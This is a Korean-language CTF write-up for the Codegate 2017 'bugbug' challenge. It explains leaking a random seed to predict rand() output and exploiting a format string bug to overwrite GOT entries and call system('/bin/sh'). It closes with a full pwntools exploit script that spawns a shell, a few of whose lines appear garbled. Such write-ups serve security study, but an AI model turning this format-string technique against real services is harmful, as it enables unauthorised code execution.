CTF | wargame

codegate 2017 / bugbug (seed 획득을 통한 random 유추. 포맷스트링 버그)

nopdata 2017. 5. 2. 13:26



....
일단 취약한 fsb 부분과 넘겨야 하는 부분을 알았으므로 순서대로 보면

(1) random 넘기기
1단계로 random 값을 넘겨야 한다. random을 통과해야만 fsb가 터지는 printf 함수를 사용할 수 있기 때문이다.
random에 사용되는 seed 값은 읽어들이게 되는데 buf 바로 뒤에 있다. 때문에 버퍼의 크기인 0x64를 입력하면 시드 값이 붙어서 나오게 된다.

[ 붙어나온 seed 값 ]

seed 값 계산은 ctypes 모듈을 사용하여 계산하였다.

[ random 계산 ]

(2) exit_got 흐름 변경
이제 random 부분은 통과를 할 수 있으므로 fsb 공격을 해야 한다. 보면 printf(&buf)뒤에 변경할 수 있는 메소드는 puts, exit가 존재한다. 하지만 puts는 중간에 sub_804867b의 내부에서도 사용이 되기 때문에 사용하기가 힘들다.
해서 exit를 overwrite하는 방법을 사용하여야 한다. 한번의 공격으로는 성공하기 힘들기 때문에 다시 입력을 받기 위해서 read 함수가 있는 부분으로 분기의 흐름을 변경시켜 주어야 한다.
분기 하고자 하는 부분은 0x804883d로 read함수 위의 'Who are you?' 문자열이 출력되는 부분부터이다.

[ 0x804883d 흐름 ]

보면 시드값 설정인 srand 바로 다음에 위치하기 때문에 이후부터 생성되는 랜덤의 시드값을 다시 계산할 필요가 없다.

(2) 변조가능 위치 찾기
buf의 크기는 0x64인데 fsb로 인해 buf의 첫 위치를 사용할 수 있는 부분을 찾아야 한다. 크기값을 고정시키기 위해 %9x를 보낸다. 처음에는 'aaaa'를 보내고 전송되는 메시지를 통해서 'aaaa'(0x61616161)이 돌아오는 위치를 찾는다.

[ 총 20개의 %9x를 보냈을 때 ]

처음에 보낸 aaaa를 제외하면 17번째에서 처음 입력한 'aaaa'(0x61616161)을 찾아낼 수 있다. 해서 17번째를 이용해서 공격하면 된다.

(3) system 함수 주소 얻기
함수의 got를 구해 system 함수 주소를 구해야 한다. %9x로 값을 보내면 여러 값이 나오는데 그 중에서 system 함수와 관련이 있는 값을 얻을 수 있다.
아니면 직접 main의 return 주소를 추적하여 main의 주소를 가지고 구하면 된다. %9x를 통해 가져온 값들과 각 프로그램 흐름에서 system 함수의 주소를 보면 아래와 같다.

[ system 주소 ]

보면 2번째로 나온 주소값과 system의 주소값 차이가 계속 일치한다. 해서 이 값을 기준으로 sytem 함수의 주소를 알아내면 된다.

(4) system 함수 주소 삽입하기
알아낸 system 주소를 이용해서 system 명령을 내려야 하는데 위에서 보았듯이 한번 Congratulation의 메시지를 확인 해야만 system 함수의 주소를 알아낼 수 있다. (2)에서 말한 방법을 이용해서 exit_got를 0x804883d로 변경하면 입력을 다시 받을 수 있다. 이제 여기서 system 명령도 exit_got를 덮어 씌우듯 사용하면 되는데 exit_got는 분기의 흐름 변경을 위해 사용해야 하기 때문에 print의 흐름을 변경해야 한다. 그림을  보면 다음과 같다.


[ 분기 구조 ]
본래 왼쪽과 같은 흐름인데 input name에서 조작을 하여 성공 후 exit일 때 처음에는 who are you 로 분기하여 다음 input으로 system 주소를 overwrite를 한다. 그 다음 흐름으로 overwrite한 system 을 호출하여 사용하도록 한다.

[ shell 획득 ]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
# -*- coding:utf-8 -*-
from pwn import *
import ctypes
from time import *
 
 
def random_generate(libc):
    random_list = list()
    while True:
        if len(random_list) >= 6:
            break
        tmp = libc.rand() % 45 + 1
        if tmp not in random_list:
            random_list.append(tmp)
    return random_list, libc
 
# util.proc.pidof(p)
exit_got = 0x804a024
print_got = 0x804a010
context(arch='i386', os='linux')
 
elf = ELF('bugbug')
 
#p = process('bugbug')
= remote('127.0.0.1',9000)
 
raw_input("[ Step 1 ]")
 
print p.recvuntil("you?"# who are you
payload = p32(exit_got)+p32(exit_got+2)        # 덮어쓰기 위한 exit_got 주소
payload += "%2$9x"                # system 주소 계산을 위한 값
payload += "%34860x"+"%17$n"            # exit_got에 덮어쓸 주소 하위 바이트
payload += "%32711x"+"%18$n"            # exit_got에 덮어쓸 주소 상위 바이트
payload += (100-len(payload))*'a'
p.send(payload+"\n")
 
res = p.recvuntil("==>")
#print res
 
#print util.proc.pidof(p)            # gdb attach 쓸 때 유용함
#raw_input('stop')    
 
seed = res.split(payload)[-1][:4]        # 시드값 가져오기
seed = u32(seed)
libc = ctypes.CDLL('libc.so.6')
libc.srand(seed)                # 가져온 랜덤 시드 설정
 
random_list,libc = random_generate(libc)    # random 생성
print "Send Random"
p.send(' '.join(map(str,random_list))+"\n")    # random 리스트를 프로그램을 보냄    
res = p.recvuntil("Win!!")            # 성공 메시지 출력
#print res
libc_base = res.split('\x26\xa0\x04\x08 ')[1].split(' ')[0]    # 처음 보낸 payload에서 got 주소를 계산함
system_got = int(libc_base,16- 0x16acf0            # system 주소와의 차이는 0x16acf0
system_hl = (system_got >> 16)+0x20000                # system 주소 상위 바이트 계산
system_dl = (system_got & 0xffff)+0x10000            # system 주소 하위 바이트 계산
print 'system got : ' ,hex(system_got)
 
 
raw_input("[ Step 2 ]")
#print p.recv("you?")
res = p.recv("you?")
payload2 = p32(exit_got)+p32(exit_got+2)            # exit_got 변경
payload2 += p32(print_got)+p32(print_got+2)            # eixt_got의 분기 흐름상 다음으로 오게 될 printf도 변경
payload2 += "%34896x"+"%18$n"+"%32676x"+"%19$n"            # 바로 파라미터를 사용하는 printf를 호출하도록 함.
print hex(system_hl),hex(system_dl+67588)            
payload2 += "%"+str(system_dl - (67588))+"x%20$n%"+ str(system_hl - (system_dl))+"x%21$n;/bin/sh\x00"
payload2 += (100-len(payload2))*"a"                # system 의 상위, 하위를 나누어 저장하고 실행시킬 /bin/sh도 넘김
tmp = p.send(payload2+"\n")
res = p.recvuntil("==>")
#print res
 
random_list,libc = random_generate(libc)
print "Send Random"
p.send(' '.join(map(str,random_list))+"\n")
 
#print p.recvuntil("Win!!")
tmp = p.recvuntil("Win!!")
 
random_list, libc = random_generate(libc)
print "Send Random"
p.send(' '.join(map(str,random_list))+"\n")
tmp = p.recvuntil("answer@_@")
 
p.interactive()
 
cs